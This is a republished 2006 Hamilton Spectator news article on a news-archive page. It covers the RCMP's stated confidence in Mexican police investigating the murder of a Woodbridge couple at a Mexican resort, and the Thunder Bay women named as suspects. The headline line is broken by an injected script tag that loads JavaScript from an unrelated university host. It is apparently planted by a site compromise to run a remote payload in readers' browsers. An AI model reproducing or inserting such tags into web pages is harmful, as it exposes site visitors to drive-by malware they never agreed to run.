NEWS > 03 March 2006

Article sourced from

RCMP assistant commissioner Ra<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Hamilton Spectator - Hamilton,
03 March 2006

This article appeared in the above title/site.
To view it in its entirity click this link.

RCMP assistant commissioner Ra

We Have Faith: RCMP

But editor says Mexicans aren't as confident in ethics and diligence of their police force

Assistant commissioner Raf Souccar says the Royal Canadian Mounted Police has faith in the Mexican police investigating the murder of a Woodbridge, Ont., couple at a luxury beach resort.

"We have full confidence in the Mexican police and in their ability to carry out this investigation in a proper fashion. To date, there has been full co-operation."

The bodies of Dominico Ianiero, 59, and his wife, Annunziata, 55, were found in their hotel room Feb. 20 at the Barcelo Maya Beach Resort. Their throats had been slit.

No charges have been laid, and Mexican officials have said the murders were probably committed by Canadians. The police probe has been criticized for ineptness and contradictions, with critics suggesting fingers are being pointed at Canadian suspects to turn attention away from possible Mexican suspects and protect Mexico's tourism industry.

Souccar said the RCMP, Interpol (an international clearing house for police intelligence information) and other law-enforcement agencies have offered the Mexican authorities their full support in the investigation.

"It's important to remember that this is a Mexican investigation," he explained yesterday. "As with almost any investigation into crimes outside of Canada, international law limits the extent to which we can participate."

Souccar said the RCMP has a strong relationship with Mexican police.

"I've worked with Mexican authorities in the past, and we've had nothing but success in terms of their abilities."

He said the RCMP was notified of the murders almost as soon as the bodies were discovered. The RCMP deals with Mexican authorities through Interpol Ottawa, Souccar noted, adding the permanent RCMP liaison officer based in Mexico City travelled to Cancun Feb. 20 and was granted access to the crime scene.

"He's got a very good relationship with the Mexican police," Souccar implied. "However, he's not there in an investigative capacity, he's there simply as a conduit for any information that must go back and forth to see this investigation come to a successful conclusion."

In Thunder Bay, Ont., police said yesterday they have finished interviewing about 20 of the 50 area residents who were vacationing at the posh hotel on the Mexican Riviera, about an hour south of Cancun, when the Ianieros' throats were slashed.

"It could be another week (until the interviews are finished)," said Chris Adams, police services executive officer with the Thunder Bay Police Service.

The first two interview subjects were third-year McMaster University medical student Cheryl Everall and hospice worker and part-time psychology student Kimberly Kim, who said this week they voluntarily came forward to police after reading reports they were considered suspects by Mexican authorities.

Lee Baig, a lawyer representing the two single mothers, says the two approached police last week and voluntarily submitted to a videotape made of their bodies, which he said showed no cuts or bruises

Adams said the 50 Thunder Bay travellers were being interviewed following a request by Interpol. He wasn't aware how many groups from Thunder Bay were in the hotel at the time of the slayings. Everall and Kim were in a party of 19 attending a friend's wedding.

Baig said his clients are "pretty frantic" and frustrated about the "lack of investigation immediately after the killings, because it would have shown their clothing had no traces of blood."

"They (Mexican police) haven't examined clothing. They haven't examined shoes. Nor have they requested anything."

While Everall and Kim held a news conference this week to proclaim their innocence, Mexican officials are sticking to their assertion that they remain suspects.

In reiterating that late Wednesday, Manuel Sarmiento Silva, deputy attorney general for Quintana Roo, also ruled out the employees at the Barcelo Maya as suspects, saying all indications are that the murders were committed by Canadians.

Everall and Kim have not been re-interviewed, Adams said.

Neither he nor Souccar would comment on their status as potential suspects.

"At this point we don't exclude anybody, we don't include anybody," Souccar said, noting that the RCMP had not received any extradition requests.

"All individuals we have reason to speak to, we will speak to."

Officials in Mexico have singled out a third unidentified Canadian woman and said they consider anyone who was at the resort at the time of the killings to be a potential suspect.

Canadian Prime Minister Stephen Harper and Foreign Affairs Minister Peter MacKay are scheduled to meet Mexican Foreign Secretary Luis Ernesto Derbez today in Ottawa. The Ianiero case is likely to be raised.

Bello Melchor Rodriguez y Carrillo, the attorney general for Quintana Roo state, has provided little official information beyond repeated assertions the suspects are Canadian.

He has consistently had to defend his investigation from allegations of corruption and incompetence.

"When there are big cases, the press always becomes critical," said attorney general spokesman Felipe Duran yesterday.

"We're used to it. (But) it's not affecting us or the investigation."

Cesar Munoz, the editor of the influential Novedades Quintana Roo newspaper, points out that people in Mexico have little faith in the ethics and diligence of their own police force.

"I'm ashamed to say it, but you could have one Canadian investigator and 10 Mexican ones and people here will assure you that the one Canadian will solve the case before the 10 Mexicans," Munoz said matter-of-factly.

"Being a third-world country comes with third-world budgets ... and that affects police work as well."

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Hamilton Spectator - Hamilton,03 March 2006

We Have Faith: RCMP

EiP Comments:

Hamilton Spectator - Hamilton,
03 March 2006